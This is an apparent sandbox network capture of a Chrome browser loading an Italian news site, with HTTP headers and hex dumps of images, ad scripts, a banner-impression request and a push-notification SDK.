2024-03-28 08:51:05 UTC	1369	IN	Data Raw: d5 84 3c 6c 4d 6b 02 c2 0b 17 cb 35 37 89 34 bb 30 ab 8f 53 79 e9 f3 d5 e7 9d 64 79 c5 6c 2b 4f ed 58 4f 28 1e ef 7b ec 23 c9 25 2c ca 1f 6b cb 7c 36 5d 71 7f 3f 34 35 55 69 7b 6f 97 dc b8 0d 06 d2 99 5b 36 56 2b 8f d6 fc 38 a7 c4 d0 2e 3d 0f 0b 3c 72 a8 04 7c 68 3a cc ce b0 1e b3 f7 32 48 50 c8 44 f0 f8 be a2 19 12 94 ab 3f c7 0e 3f 63 82 3f 5a 49 c9 60 0f c7 ec f3 bf 14 1b 61 d8 ce 11 52 42 cf 43 70 54 c8 79 25 09 17 9e 64 af 5a dc aa 9a 39 79 83 e1 44 2d 2a 09 f1 5b 4b 1a 4d f5 a5 c8 30 50 5e 6e 96 dd a6 f9 db 83 07 cc ca ad 5c d2 7f 1a d1 54 ef 69 7a 53 a3 3a 6d 03 8b 71 88 50 db d3 fb d8 01 6b c0 47 d9 66 7b 26 d9 b6 9e fe ec 08 32 1c 7e e5 58 00 85 5a 4b e9 6c 99 77 d2 61 cd 53 66 6e 47 dc 12 22 5e e4 0b b8 c4 2b 9e d8 d8 27 bd e2 42 65 22 37 b9 3e Data Ascii: <lMk5740Sydyl+OXO({#%,k\|6]q?45Ui{o[6V+8.=<r\|h:2HPD??c?ZI`aRBCpTy%dZ9yD-*[KM0P^n\TizS:mqPkGf{&2~XZKlwaSfnG"^+'Be"7>
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 05 27 c4 1a 79 b9 c6 4a 07 49 54 28 1b ab c5 61 47 52 50 da 44 e4 a2 47 a0 f7 32 76 d2 d8 64 a1 8a 6e 05 ba f7 d8 42 5e eb a5 65 8c 54 eb 66 1f 9d 8a 57 77 65 66 29 7c d7 2d 2a 8c 6f 67 39 89 7f 9d 41 f0 95 28 9c 5d f5 d6 99 44 35 8a 07 12 74 1e be e7 7c 02 cd 5e d9 9f c6 c0 4e 94 44 cb ad 59 1b 18 9f 6d b3 86 7e 6e fd e9 51 17 17 19 ff 7f 4d 40 e9 ef d7 af e7 f8 f9 bc 51 b5 ee f8 3e 74 70 a3 6a 99 91 64 5e 08 36 d3 2e 6c eb 05 a0 ee f6 d8 9b 0d b9 a6 9a bd 63 7a 84 79 ae e1 ff c6 2b 4c ea 6d 2a d9 96 2e 67 f4 f4 a7 0c 14 c9 2d 28 4b 59 de 39 c9 46 ba 03 38 71 c7 28 b7 8f 81 34 97 2e 43 d7 e8 02 a0 ba 40 f8 68 d0 cc 84 de ed 70 4d c8 3d 8c b3 6f 28 a9 4f 71 6c a0 2a b4 2c f2 4c 24 b6 c2 10 ba ae c4 33 5c a4 aa ba bb f3 d5 bb 84 dd eb e1 7b 80 51 7d af 89 Data Ascii: 'yJIT(aGRPDG2vdnB^eTfWwef)\|-og9A(]D5t\|^NDYm~nQM@Q>tpjd^6.lczy+Lm.g-(KY9F8q(4.C@hpM=o(Oql*,L$3\{Q}
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: e2 e9 48 05 f4 27 9a 27 fe d2 7b 0c 98 7e 19 af 0d f7 c5 41 3a 8a 31 84 36 90 f3 bb 81 cd e0 92 3a 14 21 31 ee 7f 7f b0 a9 17 24 2b a0 76 93 72 08 c4 22 19 eb 03 52 27 6b 83 8c 79 92 3e 5b 18 4f 79 b8 7b c1 8e ea c6 dd 92 88 65 6e 51 65 1c cf 43 d4 f3 c8 d8 49 56 f9 14 f7 7a ce 3e 87 e3 5b 9d 12 31 2e 81 3b 65 b2 6a 07 c3 55 a5 4a 8a 2d 31 bf 36 14 e0 1c ab 02 b7 13 32 0b 23 b8 9c e6 0d c0 c8 a0 95 53 64 08 9b 17 2a 1c 27 18 b3 c6 3c 57 57 96 43 fb ea 4f dc c2 e7 5a 71 09 28 82 6c 7e 4e 4b 65 1c be 0b 89 50 7d 44 84 f4 16 09 0d 6e ca 08 ab d7 81 70 5a cf 0f c1 00 0a 22 96 43 2b 4d 9c fb ed bd 51 56 d3 7e 33 e4 a1 21 ae 94 49 97 21 59 b5 fb f3 ba 3d e0 83 cc 7f 4d 2c 3c 65 38 4a 21 b8 1f e4 86 2a 91 05 88 9a a4 c7 38 84 f2 cf cd a0 b4 a6 c5 0a 04 fa 68 6f Data Ascii: H''{~A:16:!1$+vr"R'ky>[Oy{enQeCIVz>[1.;ejUJ-162#Sd'<WWCOZq(l~NKeP}DnpZ"C+MQV~3!I!Y=M,<e8J!8ho
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 17 c8 6b 94 5a 8c 99 c5 c0 4f 04 b3 bf 72 46 a4 d4 d5 76 9e 12 22 ec 2b 65 16 67 e3 90 22 0c 18 dd ee 5f d8 c3 76 83 83 66 8c 35 fe 78 96 f6 3d 4c e1 7a f3 de b6 e2 d6 6a c4 62 d6 ce 68 c0 6f 17 ab 84 d4 5e 43 2e c5 cd b4 ee 7d f1 bc 12 48 48 9d 80 12 8f 92 c4 95 b5 0b 17 25 cd 84 50 b0 0d b2 10 3a 26 d5 85 20 10 4d 0c a4 3b 27 0f 55 5d 79 2c d1 da 3d ed 63 4d b6 9c b0 52 9f 2a 9e 9f 17 fe 9e f5 2f 74 14 de 31 06 ba 2d d3 48 cb 9c 58 e6 91 0a dd b6 89 86 53 1f 6d f2 d3 d5 42 25 d2 c0 1f 3e 84 76 c5 a5 e6 b3 a1 a7 a0 d2 33 04 1d 25 98 29 1b 7b 30 55 31 dd 5b 1f 70 3c fe 2d f4 0b fd 2c 7f 04 5a a2 51 35 ce 86 72 f8 3d 69 a6 11 7c b2 32 54 2b a2 f2 bc 16 0e 2b 27 90 29 d7 32 6d 61 a3 96 00 2d 7f 4f 90 52 36 59 c5 e7 38 59 bc e1 52 10 05 23 24 61 08 4f c3 e8 Data Ascii: kZOrFv"+eg"_vf5x=Lzjbho^C.}HH%P:& M;'U]y,=cMR*/t1-HXSmB%>v3%){0U1[p<-,ZQ5r=i\|2T++')2ma-OR6Y8YR#$aO
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: b4 9b 69 61 ac 24 16 50 ca 33 ca de 8e 54 31 ec 29 3e 0b 09 6a 8a 8b c2 2e 19 1a 75 df 86 ef 7a 1b 3d ea a2 b4 8e 96 5d 1a 65 12 a2 fc 2b ed 84 6d d7 c2 e2 c4 36 0c 3c b2 1f 51 12 55 b9 eb c3 6c 9e 33 84 ab 16 2c d1 08 c1 26 67 19 97 2c b4 c7 18 8e 2f 0e 1b 38 ba 3f f0 03 4f 99 62 8f b2 0b 2b 41 a8 3a 05 02 3b b4 fe 65 f8 e0 00 9e de 8c 4a 11 6f d1 ca dc 08 cc 90 38 4c 83 d8 e0 e6 6f ed 57 1a d9 f9 a4 1c 1a 74 86 99 24 b8 cf f2 be c9 20 57 87 e1 03 62 20 45 8b 2e 09 d0 cf b3 d5 19 c9 0f 15 00 e7 e7 52 5e 8e 1f af e5 19 e6 b0 bf d7 cc 83 9b 92 c3 66 cf 7f 7f d0 54 bd bf 29 98 15 23 8b 1b a3 83 32 12 b7 5e 83 b5 a6 ae 3f 73 5a 15 f7 5f ac eb cd 7c f0 40 c5 7f da 27 cd 21 b1 81 13 86 b1 c8 5a 6b eb 0a 37 4d e3 87 61 77 61 1a 5a 44 58 46 c0 ea 5d 74 68 e3 25 Data Ascii: ia$P3T1)>j.uz=]e+m6<QUl3,&g,/8?Ob+A:;eJo8LoWt$ Wb E.R^fT)#2^?sZ_\|@'!Zk7MawaZDXF]th%
2024-03-28 08:51:05 UTC	1305	IN	Data Raw: 53 65 17 6c 8f 99 b4 63 c1 d7 88 f6 fe 6f fd db 69 7a 46 87 55 d6 5d 03 82 2e 3c 27 20 55 66 8f 47 cc 65 90 0c 24 77 90 a9 bd 4c 51 c6 b8 f2 53 cd 79 07 56 27 43 ea df bf d2 0a ad 76 10 c4 10 c9 45 c8 b3 91 8d d1 14 30 0b f7 55 31 4f f6 28 d9 37 10 db 4e 0c 04 23 23 e0 63 b9 d9 48 a3 65 40 33 49 41 53 a2 e0 56 c6 10 e1 31 ee a2 ed f0 95 ae 2d b4 4b ec c3 c3 73 ff fd c5 7d ea 9a 57 15 38 3c 4c 68 ef c7 a1 f9 2c 02 70 10 24 8a 36 2d c6 10 8f ef f1 a9 fc 07 f3 04 cd a2 15 74 b3 fb e3 de a1 7e ee f3 51 8a 8a b0 96 83 20 c3 4c 2c 0b 32 83 6c cc 6d 40 9d 54 d2 44 a7 a9 d4 26 eb 53 46 6d a6 e0 67 38 df 64 41 f6 3f 00 9f 56 f9 90 bb 92 7b a6 5d 0a 91 1d 2b ea 72 b7 2b 87 aa db 9c 88 04 cf 6d 5e 28 89 9a 6f 68 c1 5d 8f 04 27 a1 65 1f d4 d9 b0 9a db 6d 89 e6 ec 3e Data Ascii: SelcoizFU].<' UfGe$wLQSyV'CvE0U1O(7N##cHe@3IASV1-Ks}W8<Lh,p$6-t~Q L,2lm@TD&SFmg8dA?V{]+r+m^(oh]'em>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49824	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:05 UTC	637	OUT	GET /bsnews.it/wp-content/uploads/2024/03/bsnews-10-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:05 UTC	569	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:05 GMT Content-Type: image/webp Content-Length: 4658 Connection: close Last-Modified: Wed, 27 Mar 2024 13:11:50 GMT Expires: Sat, 28 Mar 2026 01:11:50 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/bsnews-10-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "906ec819589d29c7" Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:05 UTC	800	IN	Data Raw: 52 49 46 46 2a 12 00 00 57 45 42 50 56 50 38 20 1e 12 00 00 70 67 00 9d 01 2a 44 01 a0 00 3e 6d 32 94 47 24 23 22 25 28 11 db e8 a0 0d 89 65 6d 5f 30 3b 81 d2 1c 67 ac 34 e7 d9 e6 0b c8 66 80 01 ea dd a2 96 dd ee e6 74 cc 50 d4 c8 d6 21 6f 4c 53 08 90 94 17 02 ca 65 c8 1b 30 8f c3 44 3e 53 cc af 62 9b 59 94 26 28 23 62 27 8d 78 63 a8 05 cc 2f 7f 0f d0 49 1f 19 f4 5a 50 e1 29 bd 50 4e 66 a8 06 d3 d6 47 51 ef 28 41 fd 98 25 7b 5b df ba 1b d6 f7 ac 54 26 88 7f 01 64 e3 5b 7b 82 69 fc af f4 5b 7b a9 2e c9 a5 73 26 05 6b ac 83 9a 28 15 3b cf b8 4f 66 0f da 5b 10 6a aa c0 9e 90 cd a7 b0 db d6 15 bc 08 ef 7a ae 83 63 ac dc 18 eb 5e 5e 88 49 d6 ee d1 b7 a3 87 ec c0 ef fd 50 59 3c ab 3d 1d e6 7e 8c 94 fd 33 1d ba 4a ba 54 f7 05 79 46 ed bd ef 27 62 81 d0 b9 60 90 Data Ascii: RIFFWEBPVP8 pgD>m2G$#"%(em_0;g4ftP!oLSe0D>SbY&(#b'xc/IZP)PNfGQ(A%{[T&d[{i[{.s&k(;Of[jzc^^IPY<=~3JTyF'b`
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: d5 d9 a7 86 cc a0 9b fa c4 65 f7 88 76 1b 7b a5 ff cc 3f 66 1c 36 42 39 9d 02 5d b2 98 79 a2 e0 0c 6f 15 04 61 46 2f 97 f0 c8 e6 67 c0 c1 6e 87 27 55 4a 67 86 fd d2 c0 00 fe fe 95 4f ff 1e 3d 41 ff 26 64 0b dd e2 e8 3a 6c 2b 38 a8 a3 8f 13 9f eb 86 26 81 74 a4 47 94 0d f5 d2 4d f8 0f a4 03 f1 a9 64 7f a5 af ce 3f dd 97 a3 12 35 a6 7d 3f b6 fe 26 11 a6 b2 c1 ed 58 d4 c4 2f 02 5c 99 e1 2f de 58 2d 9e f0 7b 06 98 60 70 93 4d 7f 2c 41 36 db 80 0a 97 31 f4 a7 48 53 da 25 16 33 5f 73 60 3b e1 3f f5 a8 43 b0 1f 17 d8 20 b7 21 3b 83 13 20 61 e7 ef 65 50 9e 12 4f 96 ea e9 a2 79 b9 dc e3 06 fc 94 b1 5e cc 52 75 cc fe 70 0b 41 b7 4a 60 a5 d5 ec 79 84 ff a2 4d 73 5c 62 e7 10 b8 88 e7 c0 26 b5 03 7f 61 7c 66 a7 98 36 41 1c 78 c0 62 6d 9c 8b 28 1e f1 45 6c fd 93 11 34 Data Ascii: ev{?f6B9]yoaF/gn'UJgO=A&d:l+8&tGMd?5}?&X/\/X-{`pM,A61HS%3_s`;?C !; aePOy^RupAJ`yMs\b&a\|f6Axbm(El4
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: a6 9f 5a 4a c8 8d 48 35 f0 e9 e0 7a 6e 7d b3 fa 6a 34 57 13 64 59 a7 96 11 04 7f 4a c1 e0 f0 66 48 a3 97 0c 4c 22 d9 c1 a1 21 31 a3 63 9b 4a 2b 8d a8 22 0b 2d 62 98 24 3a 6e d6 cd 06 96 ac 06 7d 36 e2 1e 5c fb ce 1f 87 55 0b 76 32 7b 39 62 52 06 a5 e9 0c 08 3e 25 00 69 fa 1c e9 06 c8 b5 fd 48 71 cd f4 46 aa 90 3c 39 e6 1e 02 e4 fd 95 91 58 d1 e5 eb 65 d8 0e fd 5d 26 05 1b 1d 7b 0e f4 5a 22 76 f4 e7 52 e7 65 c3 71 05 e9 c8 9d 10 1f c9 8d cc 7a de d2 9c 0f c7 c5 d7 c9 11 5d 5b 7a 61 48 9b 3e 70 d6 4f c0 e9 71 47 99 33 fb 61 11 80 dd 7b 7e e2 bf 2b 8e 9c dc aa f9 d1 9b 5c 8b 1a 38 20 d5 a7 5b 1d 6c 28 28 1c b9 d8 3b 13 34 32 69 ef e6 64 c3 2b 73 e4 13 4b 38 f2 78 51 8f 38 12 d0 50 fb 31 ef 2a f3 8b 5e af fa 17 50 6f a9 20 22 f5 09 88 7f 5b 25 29 4f 07 27 7d Data Ascii: ZJH5zn}j4WdYJfHL"!1cJ+"-b$:n}6\Uv2{9bR>%iHqF<9Xe]&{Z"vReqz][zaH>pOqG3a{~+\8 [l((;42id+sK8xQ8P1*^Po "[%)O'}
2024-03-28 08:51:05 UTC	1120	IN	Data Raw: 1e 72 10 96 86 28 ff 48 22 09 2f ff 29 6a cf 83 ab 73 8b e7 bd 0d 86 ae f0 18 13 64 43 ce b4 7a 13 01 5c 51 22 c1 2b 90 f0 91 29 6c 49 c5 1e c2 5d c7 9d 15 79 17 00 e5 00 60 04 c3 5d fa 6f 22 f1 10 89 0d 0c df a6 ef 2f 3a c8 05 ba 1f 7c 44 c3 21 5d 76 93 34 46 bf 69 b4 b6 7f 1c 18 8e d5 af a7 8e 04 91 7b 64 c4 92 e7 3b 75 e9 97 b3 02 be 16 9b 4a b8 25 b5 0f 0b 54 ef 02 9d 90 19 f4 16 12 e6 57 99 4b b9 38 aa 09 f7 8c af 87 a2 b7 63 0b 8f 2d 35 27 d5 98 c2 7a dd 4c d9 f7 60 84 84 ec b5 2e 6b 93 b9 e0 84 ba 28 5f bb ca 9f b9 5a c4 9e 43 a8 71 bb 54 70 43 72 49 70 ca 57 0f 4e 97 26 03 5c cf 69 5e 93 5c 18 37 db 65 96 83 45 64 67 d3 5c 2b 2f af c3 02 e7 77 20 a2 48 28 e1 8d 2d 77 90 e5 fb 42 69 d8 3e 32 fc d2 7f be 69 99 06 58 21 90 80 df 72 a5 8e a8 e6 b7 df Data Ascii: r(H"/)jsdCz\Q"+)lI]y`]o"/:\|D!]v4Fi{d;uJ%TWK8c-5'zL`.k(_ZCqTpCrIpWN&\i^\7eEdg\+/w H(-wBi>2iX!r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49833	51.161.15.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:07 UTC	600	OUT	GET /integrations/22f9505a-d568-49e1-8952-cc5110fd590b/22f9505a-d568-49e1-8952-cc5110fd590b.js HTTP/1.1 Host: static.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:07 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:07 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 26 Mar 2024 16:16:32 GMT Cache-control: max-age=0, s-maxage=2592001 Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE X-Device: desktop Age: 32139 TP-Cache: HIT Vary: Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:07 UTC	3678	IN	Data Raw: 31 39 64 62 0d 0a 28 28 29 3d 3e 7b 76 61 72 20 6e 2c 74 2c 64 65 66 61 75 6c 74 43 6f 6e 66 69 67 3b 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2c 64 65 66 61 75 6c 74 43 6f 6e 66 69 67 3d 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 63 6f 6e 73 74 7b 5f 6c 6f 61 64 69 6e 67 5f 3a 65 2c 5f 6c 6f 61 64 65 64 5f 3a 64 7d 3d 77 69 6e 64 6f 77 3f 2e 73 75 6e 6d 65 64 69 61 74 61 67 3f 2e 5b 74 5d 7c 7c 7b 7d 3b 69 66 28 65 7c 7c 64 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 2c 21 30 29 2c 69 2e 73 72 63 3d 6e 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f Data Ascii: 19db(()=>{var n,t,defaultConfig;n=document.currentScript,defaultConfig=void 0,function(n,t){const{_loading_:e,_loaded_:d}=window?.sunmediatag?.[t]\|\|{};if(e\|\|d)return;const i=document.createElement("script");i.setAttribute("async",!0),i.src=n,document.bo
2024-03-28 08:51:07 UTC	2949	IN	Data Raw: 79 6e 63 3d 21 30 2c 6e 2e 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 7d 3c 5c 2f 73 63 72 69 70 74 3e 22 5d 7d 7d 2c 22 77 68 69 74 65 6c 69 73 74 22 3a 5b 5d 2c 22 6d 6f 62 69 6c 65 4e 65 74 42 6c 61 63 6b 4c 69 73 74 22 3a 5b 5d 2c 22 63 61 74 65 67 6f 72 79 22 3a 22 4e 65 77 73 22 2c 22 69 74 22 3a 22 32 32 66 39 35 30 35 61 2d 64 35 36 38 2d 34 39 65 31 2d 38 39 35 32 2d 63 63 35 31 31 30 66 64 35 39 30 62 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 22 63 66 35 66 31 31 35 63 2d 34 35 63 30 2d 34 32 65 36 2d 38 38 66 35 2d 31 63 63 31 34 37 34 31 32 39 38 38 22 2c 22 63 6c 69 65 6e 74 22 3a 22 33 35 66 37 37 66 32 66 2d 38 33 39 31 2d 34 38 64 66 2d 39 66 61 63 2d 35 36 32 65 30 62 37 65 64 61 33 33 22 2c 22 73 Data Ascii: ync=!0,n.document.body.appendChild(s)}<\/script>"]}},"whitelist":[],"mobileNetBlackList":[],"category":"News","it":"22f9505a-d568-49e1-8952-cc5110fd590b","publisher":"cf5f115c-45c0-42e6-88f5-1cc147412988","client":"35f77f2f-8391-48df-9fac-562e0b7eda33","s
2024-03-28 08:51:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49834	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:07 UTC	839	OUT	POST /wp-admin/admin-ajax.php HTTP/1.1 Host: bsnews.it Connection: keep-alive Content-Length: 201 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://bsnews.it Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
2024-03-28 08:51:07 UTC	201	OUT	Data Raw: 61 63 74 69 6f 6e 3d 77 70 5f 62 61 6e 6e 65 72 69 7a 65 5f 61 64 64 5f 69 6d 70 72 65 73 73 69 6f 6e 73 26 62 61 6e 6e 65 72 5f 69 64 25 35 42 25 35 44 3d 33 31 39 30 30 38 26 62 61 6e 6e 65 72 5f 69 64 25 35 42 25 35 44 3d 32 39 31 39 30 35 26 72 65 66 65 72 72 65 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 62 73 6e 65 77 73 2e 69 74 25 32 46 32 30 31 35 25 32 46 30 31 25 32 46 32 33 25 32 46 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c 2d 6e 6f 6e 6f 2d 70 6f 73 74 6f 2d 69 6e 2d 63 6c 61 73 73 69 66 69 63 61 25 32 46 Data Ascii: action=wp_bannerize_add_impressions&banner_id%5B%5D=319008&banner_id%5B%5D=291905&referrer=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F
2024-03-28 08:51:08 UTC	990	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.2.17 x-powered-by: PleskLin cf-edge-cache: cache,platform=wordpress access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true x-robots-tag: noindex x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-frame-options: SAMEORIGIN expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NQXnNcL5oiD6ikHeAACMoaLBiA40VzLq7xHQmfL9aFI4%2FK2DG4Y%2FFQjky9%2FRKydADjczdssfpqjjy3uw1a4ZqgwUTrdHgCbOl52%2Fjv5KjEstW%2Bp0y%2BV%2B9xoXu%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660678a805b11-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:08 UTC	22	IN	Data Raw: 31 30 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 7d 0d 0a Data Ascii: 10{"success":true}
2024-03-28 08:51:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49835	104.18.215.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:07 UTC	713	OUT	GET /sdks/OneSignalPageSDKES6.js?v=151605 HTTP/1.1 Host: cdn.onesignal.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
2024-03-28 08:51:08 UTC	514	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"e3be409ac3c100e2a5d3f264ec260551" access-control-allow-headers: OneSignal-Subscription-Id via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 715 Expires: Sun, 31 Mar 2024 08:51:08 GMT Cache-Control: public, max-age=259200 Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 86b66067a85a208a-IAD
2024-03-28 08:51:08 UTC	855	IN	Data Raw: 33 61 31 65 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 69 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 65 2c 69 2e 63 3d 74 2c 69 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 Data Ascii: 3a1e!function(e){var t={};function i(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,i),o.l=!0,o.exports}i.m=e,i.c=t,i.d=function(e,t,n){i.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerab
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 74 68 65 6e 28 72 2c 61 29 7d 63 28 28 6e 3d 6e 2e 61 70 70 6c 79 28 65 2c 74 7c 7c 5b 5d 29 29 2e 6e 65 78 74 28 29 29 7d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 74 2c 22 61 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 29 3b 63 6c 61 73 73 20 6e 7b 73 74 61 74 69 63 20 73 68 6f 75 6c 64 4c 6f 67 28 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6c 6f 67 6c 65 76 65 6c 22 29 3b 